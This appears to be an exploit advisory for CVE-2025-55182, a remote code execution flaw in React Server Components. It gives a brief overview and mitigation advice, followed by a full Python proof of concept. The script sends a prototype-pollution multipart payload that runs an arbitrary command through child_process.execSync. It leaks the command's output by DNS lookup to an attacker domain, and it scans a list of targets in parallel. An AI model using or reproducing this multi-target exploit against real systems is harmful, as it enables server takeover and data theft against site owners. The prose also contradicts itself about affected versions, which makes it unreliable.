React Server 19.2.0 – Remote Code Execution Vulnerability
Overview
The React Server 19.2.0 vulnerability, identified as CVE-2025-55182, presents a critical security flaw that allows for remote code execution (RCE). This vulnerability arises from improper input validation, enabling attackers to inject malicious code through vulnerable endpoints, potentially compromising the entire server environment.
Technical Details
In versions prior to 19.2.0, React Server fails to adequately sanitize user inputs, particularly in its handling of dynamic imports and server-side rendering. An attacker can exploit this flaw by sending crafted requests that leverage the server’s ability to execute arbitrary code. When the server processes these requests, it inadvertently executes the malicious code, thus compromising application integrity and confidentiality.
For example, if an attacker sends a specially crafted payload that includes JavaScript code designed to manipulate server functions, the server may execute this code, leading to unauthorized access to sensitive data or control over the server itself. This vulnerability affects not only the application but also any underlying services that the server interacts with.
Impact
The potential consequences of this vulnerability are severe. Successful exploitation can lead to data breaches, unauthorized access to sensitive information, and complete server takeover. Organizations using React Server 19.2.0 may face significant reputational damage, legal ramifications, and financial losses due to compromised data integrity and system availability.
Mitigation
To protect against CVE-2025-55182, it is imperative for organizations to promptly upgrade to the latest version of React Server, where this vulnerability has been addressed. Regularly updating software components is essential to minimize exposure to known vulnerabilities.
Additionally, implementing robust input validation and sanitization processes can mitigate risks associated with user inputs. Security professionals should also conduct regular security audits and penetration testing to identify potential weaknesses in their applications. Employing a Web Application Firewall (WAF) can further enhance protection by filtering out malicious requests before they reach the server.
Proof of Concept (PoC)
# Exploit Title: React Server 19.2.0 - Remote Code Execution
# Date: 2025-12-05
# Exploit Author: [EynaExp] (https://github.com/EynaExp)
# Vendor Homepage: https://react.dev
# Software Link: https://react.dev/reference/rsc/server-components
# Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]
# Tested on: Windows,Linux
# CVE : CVE-2025-55182
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Color definitions
class Colors:
RED = ' 33[91m'
GREEN = ' 33[92m'
YELLOW = ' 33[93m'
BLUE = ' 33[94m'
END = ' 33[0m'
print("""
███████╗██╗ ██╗███╗ ██╗ █████╗ ███████╗██╗ ██╗██████╗
██╔════╝╚██╗ ██╔╝████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
██║ ╚████╔╝ ██╔██╗ ██║███████║█████╗ ╚███╔╝ ██████╔╝
██║ ╚██╔╝ ██║╚██╗██║██╔══██║██╔══╝ ██╔██╗ ██╔═══╝
╚███████╗ ██║ ██║ ╚████║██║ ██║███████╗██╔╝ ██╗██║
╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
CVE-2025-55182 Proof of Concept
by EynaExp
GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")
class NoUsageParser(argparse.ArgumentParser):
def error(self, message):
# completely suppress argparse usage
print(f"Error: {message}")
raise SystemExit(1)
parser = NoUsageParser(description="EynaExp Scanner")
parser.add_argument('-d', required=True)
parser.add_argument('-l', required=True)
parser.add_argument('-c', required=True)
print(f"{Colors.GREEN}n[+]APP USAGE :n[-d] <DNS(without http/s)>n[-l] <Targets file path(url wordlist)>n[-C] <Command>{Colors.END}n")
args = parser.parse_args()
dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
request_body = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sadrn"
"Content-Disposition: form-data; name="0"rnrn"
"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"
""value":"{\"then\":\"$B1337\"}","
""_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');","
""_formData":{"get":"$1:constructor:constructor"}}}rn"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sadrn"
"Content-Disposition: form-data; name="1"rnrn"
""$@0"rn"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--rn"
)
def send_request(target_url):
try:
response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"
for header_key in ["x-action", "next-action", "rsc"]:
if header_key in response.headers:
result_message += f"n{Colors.BLUE} header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"
return result_message
except Exception as exception:
return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"
with open(targets_file_path) as file_handle:
target_urls = [line.strip() for line in file_handle if line.strip()]
print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}n")
with ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(send_request, url): url for url in target_urls}
for future in as_completed(futures):
print(future.result())